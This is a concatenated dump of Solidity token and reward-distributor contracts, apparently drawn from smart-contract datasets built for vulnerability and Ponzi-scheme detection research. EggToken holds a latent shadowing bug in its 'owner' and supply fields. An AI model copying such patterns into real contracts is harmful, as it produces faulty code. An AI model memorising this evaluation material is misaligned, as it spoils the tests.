emit Transfer(msg.sender, _to, _value[i]);
i++;
}
return true;
}
function transferLockedFrom(address _from, address _to, uint256[] _time, uint256[] _value) public
validAddress(_from) validAddress(_to) returns (bool success) {
require(_value.length == _time.length);
if (lockNum[_from] > 0) calcUnlock(_from);
uint256 i = 0;
uint256 totalValue = 0;
while (i < _value.length) {
totalValue = add(totalValue, _value[i]);
i++;
}
require(balanceP[_from] >= totalValue && totalValue >= 0 && _allowance[_from][msg.sender] >= totalValue);
require(add(lockNum[_from], _time.length) <= 42);
i = 0;
while (i < _time.length) {
if (_value[i] > 0) {
balanceP[_from] = sub(balanceP[_from], _value[i]);
_allowance[_from][msg.sender] = sub(_allowance[_from][msg.sender], _value[i]);
lockTime[_to].length = lockNum[_to]+1;
lockValue[_to].length = lockNum[_to]+1;
lockTime[_to][lockNum[_to]] = sub(add(add(now, _time[i]), earlier), later);
lockValue[_to][lockNum[_to]] = _value[i];
lockNum[_to]++;
}
emit TransferLocked(_from, _to, _time[i], _value[i]);
emit Transfer(_from, _to, _value[i]);
i++;
}
return true;
}
function transferFrom(address _from, address _to, uint256 _value) public validAddress(_from) validAddress(_to) returns (bool _success) {
if (lockNum[_from] > 0) calcUnlock(_from);
require(balanceP[_from] >= _value && _value >= 0 && _allowance[_from][msg.sender] >= _value);
_allowance[_from][msg.sender] = sub(_allowance[_from][msg.sender], _value);
balanceP[_from] = sub(balanceP[_from], _value);
balanceP[_to] = add(balanceP[_to], _value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public validAddress(_spender) returns (bool _success) {
if (lockNum[msg.sender] > 0) calcUnlock(msg.sender);
_allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function increaseApproval(address _spender, uint _value) public validAddress(_spender) returns (bool _success) {
_allowance[msg.sender][_spender] = add(_allowance[msg.sender][_spender], _value);
emit Approval(msg.sender, _spender, _allowance[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _value) public validAddress(_spender) returns (bool _success) {
if(_value >= _allowance[msg.sender][_spender]) {
_allowance[msg.sender][_spender] = 0;
} else {
_allowance[msg.sender][_spender] = sub(_allowance[msg.sender][_spender], _value);
}
emit Approval(msg.sender, _spender, _allowance[msg.sender][_spender]);
return true;
}
function burn(uint256 _value) public onlyOwner returns (bool _success) {
if (lockNum[msg.sender] > 0) calcUnlock(msg.sender);
require(balanceP[msg.sender] >= _value && _value >= 0);
balanceP[msg.sender] = sub(balanceP[msg.sender], _value);
_totalSupply = sub(_totalSupply, _value);
emit Burn(msg.sender, _value);
return true;
}
function () public payable {
revert();
}
function emptyWrongToken(address _addr) onlyOwner public {
ERC20Token wrongToken = ERC20Token(_addr);
uint256 amount = wrongToken.balanceOf(address(this));
require(amount > 0);
require(wrongToken.transfer(msg.sender, amount));
emit WrongTokenEmptied(_addr, msg.sender, amount);
}
function emptyWrongEther() onlyOwner public {
uint256 amount = address(this).balance;
require(amount > 0);
msg.sender.transfer(amount);
emit WrongEtherEmptied(msg.sender, amount);
}
}
| 161,796 | 10,929 |
15ac178c1c813d182f138a2a498d322d839564e91ca9b4aba1813829e4e4097e
| 11,823 |
.sol
|
Solidity
| false |
416581097
|
NoamaSamreen93/SmartScan-Dataset
|
0199a090283626c8f2a5e96786e89fc850bdeabd
|
sorted-evaluation-dataset/0.5/0xbfdd4de1f87f1709402bb6950bd552e89a7a9a82.sol
| 2,886 | 11,709 |
pragma solidity ^0.5.3;
contract Ownable
{
address private owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() public
{
owner = msg.sender;
}
modifier onlyOwner()
{
require(msg.sender == owner, "Only owner can call this function.");
_;
}
function isOwner() public view returns(bool)
{
return msg.sender == owner;
}
function transferOwnership(address newOwner) public onlyOwner
{
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract IERC20
{
uint256 public tokenTotalSupply;
string private tokenName;
string private tokenSymbol;
function balanceOf(address who) external view returns (uint256);
function allowance(address owner, address spender) external view returns (uint256);
function transfer(address to, uint256 value) external returns (bool);
function approve(address spender, uint256 value) external returns (bool);
function transferFrom(address from, address to, uint256 value) external returns (bool);
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function totalSupply() external view returns (uint256);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
function burnOwnTokens(uint256 amountToBurn) external;
function setCrowdsale(address crowdsaleAddress, uint256 crowdsaleAmount) external;
}
contract IERC223 is IERC20
{
function transfer(address to, uint value, bytes memory data) public returns (bool);
function transferFrom(address from, address to, uint value, bytes memory data) public returns (bool);
event Transfer(address indexed from, address indexed to, uint value, bytes data);
}
contract IERC223Receiver
{
function tokenFallback(address from, address sender, uint value, bytes memory data) public returns (bool);
}
contract IMigrationAgent
{
function finalizeMigration() external;
function migrateTokens(address owner, uint256 tokens) public;
}
contract IMigrationSource
{
address private migrationAgentAddress;
IMigrationAgent private migrationAgentContract;
bool private isMigrated;
event MigratedFrom(address indexed owner, uint256 tokens);
function setMigrationAgent(address agent) external;
function migrate() external;
function finalizeMigration() external;
}
library SafeMath
{
function mul(uint256 a, uint256 b) internal pure returns (uint256)
{
if (a == 0)
{
return 0;
}
uint256 c = a * b;
require(c / a == b, "Multiplying error.");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256)
{
require(b > 0, "Division error.");
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256)
{
require(b <= a, "Subtraction error.");
uint256 c = a - b;
return c;
}
function add(uint256 a, uint256 b) internal pure returns (uint256)
{
uint256 c = a + b;
require(c >= a, "Adding error.");
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256)
{
require(b != 0, "Mod error.");
return a % b;
}
}
contract EggToken is IERC223, Ownable, IMigrationSource
{
using SafeMath for uint256;
uint256 private tokenTotalSupply;
string private tokenName;
string private tokenSymbol;
uint8 private tokenDecimals;
mapping (address => uint256) private balances;
mapping (address => mapping (address => uint256)) private allowances;
address private migrationAgentAddress;
IMigrationAgent private migrationAgentContract;
bool private isMigrated;
bool private isCrowdsaleSet;
address private owner;
constructor(string memory name,
string memory symbol,
uint256 totalSupply,
address developmentTeamAddress,
uint256 developmentTeamBalance,
address marketingTeamAddress,
uint256 marketingTeamBalance,
address productTeamAddress,
uint256 productTeamBalance,
address airdropAddress,
uint256 airdropBalance) public
{
tokenName = name;
tokenSymbol = symbol;
tokenDecimals = 18;
tokenTotalSupply = totalSupply;
balances[developmentTeamAddress] = developmentTeamBalance;
balances[marketingTeamAddress] = marketingTeamBalance;
balances[productTeamAddress] = productTeamBalance;
balances[airdropAddress] = airdropBalance;
}
function setCrowdsale(address crowdsaleAddress, uint256 crowdsaleBalance) onlyOwner validAddress(crowdsaleAddress) external
{
require(!isCrowdsaleSet, "Crowdsale address was already set.");
isCrowdsaleSet = true;
tokenTotalSupply = tokenTotalSupply.add(crowdsaleBalance);
balances[crowdsaleAddress] = crowdsaleBalance;
}
function approve(address spender, uint256 value) validAddress(spender) external returns (bool)
{
allowances[msg.sender][spender] = value;
emit Approval(msg.sender, spender, value);
return true;
}
function transfer(address to, uint256 value) external returns (bool)
{
return transfer(to, value, new bytes(0));
}
function transferFrom(address from, address to, uint256 value) external returns (bool)
{
return transferFrom(from, to, value, new bytes(0));
}
function transferBatch(address[] calldata to, uint256 value) external returns (bool)
{
return transferBatch(to, value, new bytes(0));
}
function transfer(address to, uint256 value, bytes memory data) validAddress(to) enoughBalance(msg.sender, value) public returns (bool)
{
balances[msg.sender] = balances[msg.sender].sub(value);
balances[to] = balances[to].add(value);
if (isContract(to))
{
contractFallback(msg.sender, to, value, data);
}
emit Transfer(msg.sender, to, value, data);
return true;
}
function transferFrom(address from, address to, uint256 value, bytes memory data) validAddress(to) enoughBalance(from, value) public returns (bool)
{
require(value <= allowances[from][msg.sender], "Transfer value exceeds the allowance.");
balances[from] = balances[from].sub(value);
balances[to] = balances[to].add(value);
allowances[from][msg.sender] = allowances[from][msg.sender].sub(value);
if (isContract(to))
{
contractFallback(from, to, value, data);
}
emit Transfer(from, to, value, data);
return true;
}
function transferBatch(address[] memory to, uint256 value, bytes memory data) public returns (bool)
{
uint256 totalValue = value.mul(to.length);
checkBalance(msg.sender, totalValue);
balances[msg.sender] = balances[msg.sender].sub(totalValue);
uint256 i = 0;
while (i < to.length)
{
checkAddressValidity(to[i]);
balances[to[i]] = balances[to[i]].add(value);
if (isContract(to[i]))
{
contractFallback(msg.sender, to[i], value, data);
}
emit Transfer(msg.sender, to[i], value, data);
i++;
}
return true;
}
function contractFallback(address sender, address to, uint256 value, bytes memory data) private returns (bool)
{
IERC223Receiver reciever = IERC223Receiver(to);
return reciever.tokenFallback(msg.sender, sender, value, data);
}
function isContract(address to) internal view returns (bool)
{
uint length;
assembly { length := extcodesize(to) }
return length > 0;
}
function increaseAllowance(address spender, uint256 addedValue) validAddress(spender) external returns (bool)
{
allowances[msg.sender][spender] = allowances[msg.sender][spender].add(addedValue);
emit Approval(msg.sender, spender, allowances[msg.sender][spender]);
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) validAddress(spender) external returns (bool)
{
allowances[msg.sender][spender] = allowances[msg.sender][spender].sub(subtractedValue);
emit Approval(msg.sender, spender, allowances[msg.sender][spender]);
return true;
}
function burnOwnTokens(uint256 amountToBurn) enoughBalance(msg.sender, amountToBurn) external
{
require(balances[msg.sender] >= amountToBurn, "Can't burn more tokens than you own.");
tokenTotalSupply = tokenTotalSupply.sub(amountToBurn);
balances[msg.sender] = balances[msg.sender].sub(amountToBurn);
emit Transfer(msg.sender, address(0), amountToBurn, new bytes(0));
}
function transferAnyERC20Token(address tokenAddress, uint256 tokens) public onlyOwner returns (bool success)
{
return IERC20(tokenAddress).transfer(owner, tokens);
}
function balanceOf(address balanceOwner) external view returns (uint256)
{
return balances[balanceOwner];
}
function allowance(address balanceOwner, address spender) external view returns (uint256)
{
return allowances[balanceOwner][spender];
}
function name() external view returns(string memory) {
return tokenName;
}
function symbol() external view returns(string memory) {
return tokenSymbol;
}
function decimals() external view returns(uint8) {
return tokenDecimals;
}
function totalSupply() external view returns (uint256)
{
return tokenTotalSupply;
}
modifier validAddress(address _address)
{
checkAddressValidity(_address);
_;
}
modifier enoughBalance(address from, uint256 value)
{
checkBalance(from, value);
_;
}
function checkAddressValidity(address _address) internal view
{
require(_address != address(0), "The address can't be blank.");
require(_address != address(this), "The address can't point to Egg smart contract.");
}
function checkBalance(address from, uint256 value) internal view
{
require(value <= balances[from], "Specified address has less tokens than required for this operation.");
}
function setMigrationAgent(address agent) onlyOwner validAddress(agent) external
{
require(migrationAgentAddress == address(0), "Migration Agent was specified already.");
require(!isMigrated, 'Contract was already migrated.');
migrationAgentAddress = agent;
migrationAgentContract = IMigrationAgent(agent);
}
function migrate() external
{
require(migrationAgentAddress != address(0), "Migration is closed or haven't started.");
uint256 migratedAmount = balances[msg.sender];
require(migratedAmount > 0, "No tokens to migrate.");
balances[msg.sender] = 0;
emit MigratedFrom(msg.sender, migratedAmount);
migrationAgentContract.migrateTokens(msg.sender, migratedAmount);
}
function finalizeMigration() external
{
require(msg.sender == migrationAgentAddress, "Only Migration Agent can finalize the migration.");
migrationAgentAddress = address(0);
isMigrated = true;
}
}
| 212,367 | 10,930 |
9e4e2ab4678c4cc6cf6a635cb2aacd8a7c09781f08b3047dbd7007f9891b7ad8
| 18,012 |
.sol
|
Solidity
| false |
454032456
|
tintinweb/smart-contract-sanctuary-avalanche
|
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
|
contracts/mainnet/08/08f22591c291d68f52dc118cdd91bce6dee2e5ff_Distributor.sol
| 3,975 | 15,701 |
// SPDX-License-Identifier: AGPL-3.0-or-later
pragma solidity 0.7.5;
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender)
.sub(value, "SafeERC20: decreased allowance below zero");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function _callOptionalReturn(IERC20 token, bytes memory data) private {
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function add32(uint32 a, uint32 b) internal pure returns (uint32) {
uint32 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
function sqrrt(uint256 a) internal pure returns (uint c) {
if (a > 3) {
c = a;
uint b = add(div(a, 2), 1);
while (b < c) {
c = b;
b = div(add(div(a, b), b), 2);
}
} else if (a != 0) {
c = 1;
}
}
function percentageAmount(uint256 total_, uint8 percentage_) internal pure returns (uint256 percentAmount_) {
return div(mul(total_, percentage_), 1000);
}
function substractPercentage(uint256 total_, uint8 percentageToSub_) internal pure returns (uint256 result_) {
return sub(total_, div(mul(total_, percentageToSub_), 1000));
}
function percentageOfTotal(uint256 part_, uint256 total_) internal pure returns (uint256 percent_) {
return div(mul(part_, 100) , total_);
}
function average(uint256 a, uint256 b) internal pure returns (uint256) {
// (a + b) / 2 can overflow, so we distribute
return (a / 2) + (b / 2) + ((a % 2 + b % 2) / 2);
}
function quadraticPricing(uint256 payment_, uint256 multiplier_) internal pure returns (uint256) {
return sqrrt(mul(multiplier_, payment_));
}
function bondingCurve(uint256 supply_, uint256 multiplier_) internal pure returns (uint256) {
return mul(multiplier_, supply_);
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library Address {
function isContract(address account) internal view returns (bool) {
// This method relies in extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success,) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target,
bytes memory data,
string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target,
bytes memory data,
uint256 value,
string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: value }(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _functionCallWithValue(address target,
bytes memory data,
uint256 weiValue,
string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) {
return functionStaticCall(target, data, "Address: low-level static call failed");
}
function functionStaticCall(address target,
bytes memory data,
string memory errorMessage) internal view returns (bytes memory) {
require(isContract(target), "Address: static call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.staticcall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) {
return functionDelegateCall(target, data, "Address: low-level delegate call failed");
}
function functionDelegateCall(address target,
bytes memory data,
string memory errorMessage) internal returns (bytes memory) {
require(isContract(target), "Address: delegate call to non-contract");
(bool success, bytes memory returndata) = target.delegatecall(data);
return _verifyCallResult(success, returndata, errorMessage);
}
function _verifyCallResult(bool success,
bytes memory returndata,
string memory errorMessage) private pure returns(bytes memory) {
if (success) {
return returndata;
} else {
if (returndata.length > 0) {
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
function addressToString(address _address) internal pure returns(string memory) {
bytes32 _bytes = bytes32(uint256(_address));
bytes memory HEX = "0123456789abcdef";
bytes memory _addr = new bytes(42);
_addr[0] = '0';
_addr[1] = 'x';
for(uint256 i = 0; i < 20; i++) {
_addr[2+i*2] = HEX[uint8(_bytes[i + 12] >> 4)];
_addr[3+i*2] = HEX[uint8(_bytes[i + 12] & 0x0f)];
}
return string(_addr);
}
}
interface IPolicy {
function policy() external view returns (address);
function renouncePolicy() external;
function pushPolicy(address newPolicy_) external;
function pullPolicy() external;
}
contract Policy is IPolicy {
address internal _policy;
address internal _newPolicy;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
_policy = msg.sender;
emit OwnershipTransferred(address(0), _policy);
}
function policy() public view override returns (address) {
return _policy;
}
modifier onlyPolicy() {
require(_policy == msg.sender, "Ownable: caller is not the owner");
_;
}
function renouncePolicy() public virtual override onlyPolicy() {
emit OwnershipTransferred(_policy, address(0));
_policy = address(0);
}
function pushPolicy(address newPolicy_) public virtual override onlyPolicy() {
require(newPolicy_ != address(0), "Ownable: new owner is the zero address");
_newPolicy = newPolicy_;
}
function pullPolicy() public virtual override {
require(msg.sender == _newPolicy);
emit OwnershipTransferred(_policy, _newPolicy);
_policy = _newPolicy;
}
}
interface ITreasury {
function mintRewards(address _recipient, uint _amount) external;
}
contract Distributor is Policy {
using SafeMath for uint;
using SafeMath for uint32;
using SafeERC20 for IERC20;
address public immutable OHM;
address public immutable treasury;
uint32 public immutable epochLength;
uint32 public nextEpochTime;
mapping(uint => Adjust) public adjustments;
struct Info {
uint rate; // in ten-thousandths (5000 = 0.5%)
address recipient;
}
Info[] public info;
struct Adjust {
bool add;
uint rate;
uint target;
}
constructor(address _treasury, address _ohm, uint32 _epochLength, uint32 _nextEpochTime) {
require(_treasury != address(0));
treasury = _treasury;
require(_ohm != address(0));
OHM = _ohm;
epochLength = _epochLength;
nextEpochTime = _nextEpochTime;
}
function distribute() external returns (bool) {
if (nextEpochTime <= uint32(block.timestamp)) {
nextEpochTime = nextEpochTime.add32(epochLength); // set next epoch time
// distribute rewards to each recipient
for (uint i = 0; i < info.length; i++) {
if (info[ i ].rate > 0) {
ITreasury(treasury).mintRewards(// mint and send from treasury
info[ i ].recipient,
nextRewardAt(info[ i ].rate));
adjust(i); // check for adjustment
}
}
return true;
} else {
return false;
}
}
function adjust(uint _index) internal {
Adjust memory adjustment = adjustments[ _index ];
if (adjustment.rate != 0) {
if (adjustment.add) { // if rate should increase
info[ _index ].rate = info[ _index ].rate.add(adjustment.rate); // raise rate
if (info[ _index ].rate >= adjustment.target) { // if target met
adjustments[ _index ].rate = 0; // turn off adjustment
}
} else { // if rate should decrease
info[ _index ].rate = info[ _index ].rate.sub(adjustment.rate); // lower rate
if (info[ _index ].rate <= adjustment.target) { // if target met
adjustments[ _index ].rate = 0; // turn off adjustment
}
}
}
}
function nextRewardAt(uint _rate) public view returns (uint) {
return IERC20(OHM).totalSupply().mul(_rate).div(1000000);
}
function nextRewardFor(address _recipient) public view returns (uint) {
uint reward;
for (uint i = 0; i < info.length; i++) {
if (info[ i ].recipient == _recipient) {
reward = nextRewardAt(info[ i ].rate);
}
}
return reward;
}
function addRecipient(address _recipient, uint _rewardRate) external onlyPolicy() {
require(_recipient != address(0));
info.push(Info({
recipient: _recipient,
rate: _rewardRate
}));
}
function removeRecipient(uint _index, address _recipient) external onlyPolicy() {
require(_recipient == info[ _index ].recipient);
info[ _index ].recipient = address(0);
info[ _index ].rate = 0;
}
function setAdjustment(uint _index, bool _add, uint _rate, uint _target) external onlyPolicy() {
adjustments[ _index ] = Adjust({
add: _add,
rate: _rate,
target: _target
});
}
}
| 91,100 | 10,931 |
916981f4269a0112da97fd174b369d1f0882efdbbe2f48ff109fe38e81bb879e
| 36,284 |
.sol
|
Solidity
| false |
316275714
|
giacomofi/Neural_Smart_Ponzi_Recognition
|
a26fb280753005b9b9fc262786d5ce502b3f8cd3
|
Not_Smart_Ponzi_Source_Code/0xd4caae5efb4283e7c8872f1b1fa0432a16cf1554.sol
| 5,033 | 19,243 |
pragma solidity ^0.5.0;
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library Address {
function isContract(address account) internal view returns (bool) {
// This method relies in extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
function toPayable(address account) internal pure returns (address payable) {
return address(uint160(account));
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-call-value
(bool success,) = recipient.call.value(amount)("");
require(success, "Address: unable to send value, recipient may have reverted");
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance");
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
// we're implementing it ourselves.
// A Solidity high level call has three parts:
// 1. The target address is checked to verify it contains contract code
// 2. The call itself is made, and success asserted
// 3. The return value is decoded, which in turn checks the size of the returned data.
// solhint-disable-next-line max-line-length
require(address(token).isContract(), "SafeERC20: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract TokenTimelock {
using SafeERC20 for IERC20;
// ERC20 basic token contract being held
IERC20 private _token;
// beneficiary of tokens after they are released
address private _beneficiary;
// timestamp when token release is enabled
uint256 private _releaseTime;
// generator of the tokenLock
address private _owner;
bool private _ownable;
event UnLock(address _receiver, uint256 _amount);
constructor(IERC20 token, address beneficiary, uint256 releaseTime) public {
_token = token;
_beneficiary = beneficiary;
_releaseTime = releaseTime;
}
function token() public view returns (IERC20) {
return _token;
}
function beneficiary() public view returns (address) {
return _beneficiary;
}
function releaseTime() public view returns (uint256) {
return _releaseTime;
}
function release() public {
require(block.timestamp >= _releaseTime);
uint256 amount = _token.balanceOf(address(this));
require(amount > 0);
_token.safeTransfer(_beneficiary, amount);
emit UnLock(_beneficiary, amount);
}
}
contract Context {
// Empty internal constructor, to prevent people from mistakenly deploying
// an instance of this contract, which should be used via inheritance.
constructor () internal { }
// solhint-disable-previous-line no-empty-blocks
function _msgSender() internal view returns (address payable) {
return msg.sender;
}
function _msgData() internal view returns (bytes memory) {
this;
return msg.data;
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint256;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint256 amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
